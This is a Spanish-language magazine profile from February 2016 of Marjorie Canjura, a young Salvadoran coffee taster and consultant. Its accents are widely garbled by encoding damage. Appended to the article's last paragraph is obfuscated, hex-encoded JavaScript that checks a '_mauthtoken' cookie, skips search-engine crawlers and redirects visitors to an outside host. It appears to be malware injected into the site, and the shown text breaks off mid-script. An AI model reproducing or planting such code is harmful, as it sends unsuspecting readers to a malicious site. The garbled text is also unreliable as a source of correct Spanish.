SV del Mes

9 Feb 2016
SV del Mes | Por: Redacción

Marjorie Canjura, maestra del cafAi??, febrero 2016

Su tenacidad y patriotismo son dos caracterAi??sticas esenciales para lograr sus propA?sitos, pero tambiAi??n son dos cualidades que le han permitido explorar los caminos que ha recorrido. Te presentamos a nuestra SalvadoreAi??a del Mes de febrero 2016, conocAi?? mA?s de ella y su trabajo.

Texto por: Luis Trejo / FotografAi??as por: Eduardo PAi??rez

Marjorie Canjura es una joven que se ha adentrado a un campo en el que no cualquiera se anima a explorar: el cafAi??. Es de las pocas mujeres jA?venes que se ha abierto puertas para destacar en el cateo de tan exquisito grano. Te invitamos a conocer a nuestra SalvadoreAi??a del Mes de febrero 2016, quien se caracteriza por su tenacidad y patriotismo y quien espera contribuir a que el cafAi?? vuelva a ser el grano por excelencia para El Salvador.

A sus 28 aAi??os, esta joven ha logrado destacarse como catadora de cafAi?? y de las pocas que posee una MaestrAi??a en CafAi??, tal cual lo leAi??s. SegA?n ella misma cuenta, ai???es una personas enamoradAi??sima y obsesionada con el cafAi??, aunque no ha sido fA?cil mantenerme en esta lAi??nea, pero siempre ha sido mi objetivo permanecer y hacer lo que hago. Me siento muy a gusto con esto y lo hago con un gran compromiso por la caficultura nacionalai???. Pese a su edad, Marjorie ya cuenta con una MaestrAi??a en Ciencia y EconomAi??a del CafAi??, la cual culminA? en Italia, pero anterior a ella estudiA? una IngenierAi??a Agroindustrial, demostrando siempre su pasiA?n y amor por dicho grano.

ai???Aunque ha sido difAi??cil, sobre todo por la situaciA?n del cafAi?? en nuestro paAi??s, se me han abierto muchas oportunidades laborales. Claro, lo bueno de este rubro es la amplia gama de conocimiento que uno adquiere dAi??a con dAi??a y la cantidad de personas que uno tiene el agrado conocer y de quienes aprender, porque uno nunca deja de aprender en este rubro. A la fecha somos cinco salvadoreAi??os los que poseemos esta especializaciA?n, pero lastimosamente todos prefieren irse a otros paAi??ses, sin embargo, yo decidAi?? quedarme. De hecho, hoy por hoy, soy la primera mujer con ese tAi??tulo en El Salvadorai???, asegura Marjorie.

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ai???Veo en ella un positivismo y que quiere marcar una diferencia en el mundo del cafAi??. Quiere contribuir a levantar la caficultura en nuestro paAi??s y lo hace con cada actividad y esfuerzo que se le ve a diarioai???- Federico BolaAi??os, CafAi?? Tuxpal.

En la actualidad, esta joven salvadoreAi??a es consultora de cafAi??, asesorando por el momento a una empresa francesa de reconocido prestigio. Aunque no se ha dedicado al cafAi?? al 100 por ciento, Marjorie asegura que todas las experiencias vividas le han valido para ser la profesional que es ahora. ai???No dejo de sorprenderme lo enriquecedoras que han sido cada una de las experiencias que he vivido, tanto personales como profesionalesai???, reitera nuestra SalvadoreAi??a del Mes.

Este aAi??o impulsarA? varios proyectos, apoyados de beneficios y fincas que han confiado en su trabajo, con el que espera capacitar y educar a quienes tienen contacto permanente con el cafAi??, ademA?s de aquellos jA?venes que estudian una carrera relacionado con la agroindustria y el cafAi??. ai???De hecho, uno de mis proyectos relacionado con GestiA?n de la Calidad e Inocuidad en Fincas y Beneficios de CafAi??, se concretA? gracias a una de mis experiencias laborales previas. Este plan ya fue presentado en algunas empresas de cafAi?? de El Salvador y estA? siendo muy bien aceptado. En este aAi??o comenzarAi?? a implementarlo y empezarAi?? a desarrollar formalmente iniciativas relacionadas al ahorro energAi??tico en esta industriaai???, cuenta entusiasmada esta joven.

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ai???Ella es muy perseverante y es bastante autodidacta. Cuando ella dice ai???yo quiero hacer estoai??i??, nos lo opina y nosotros sabemos que la podemos orientar, pero no desanimarla, sino por el contrario, para que ella pueda cumplir sus proyectosai??? ai??i?? Doris de Canjura, mamA? de Marjorie.

Como consultora de cafAi??, Marjorie he tenido la oportunidad de capacitarse dentro y fuera del paAi??s y trabajar con incontables productores, beneficiadores, importadores y tostadurAi??as de dicho grano. Tal como ella misma cuenta, gusta mucho de trabajar con la gente en el campo y contribuir, mediante la transferencia de su conocimiento, al desarrollo de muchas familias que aA?n dependen del cultivo y corte de cafAi?? para subsistir. ai???El Salvador es un paAi??s con mucho potencial y yo tengo la convicciA?n de que tomando las decisiones correctas la caficultura nacional puede ser igual o volverse mA?s fuerte que hace unos aAi??os. Muchos consideran que impulsar esfuerzos para recuperar el cafAi?? serA? inA?til, pero yo confAi??o siendo persistentes y estratAi??gicos, vamos a lograr levantar a El Salvadorai???, sostiene.

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Marjorie asegura que no ha sido fA?cil abrirse camino en este campo, por razones como su edad, la diferencia de gAi??nero, la inseguridad del paAi??s y el negativismo de muchos hacia dicho rubor, pero el apoyo de su familia, personas muy cercanas a ella y el contacto con otras personas con mA?s experiencia y conocimientos que ella, ha logrado aprender y destacar. Por eso, nuestra SalvadoreAi??a del Mes afirma que ai???siempre hay que tener fe y confiar en nuestras capacidades; hay que ser determinantes y no temer a tomar decisiones. Siempre es bueno fijarse metas y aprovechar todas las oportunidades que se nos presentan en la vida. Nunca hay que rendirse. Siempre tengamos iniciativas por muy pequeAi??as que parezcan, pues son estas las que pueden marcar una gran diferenciaai???, concluye la joven.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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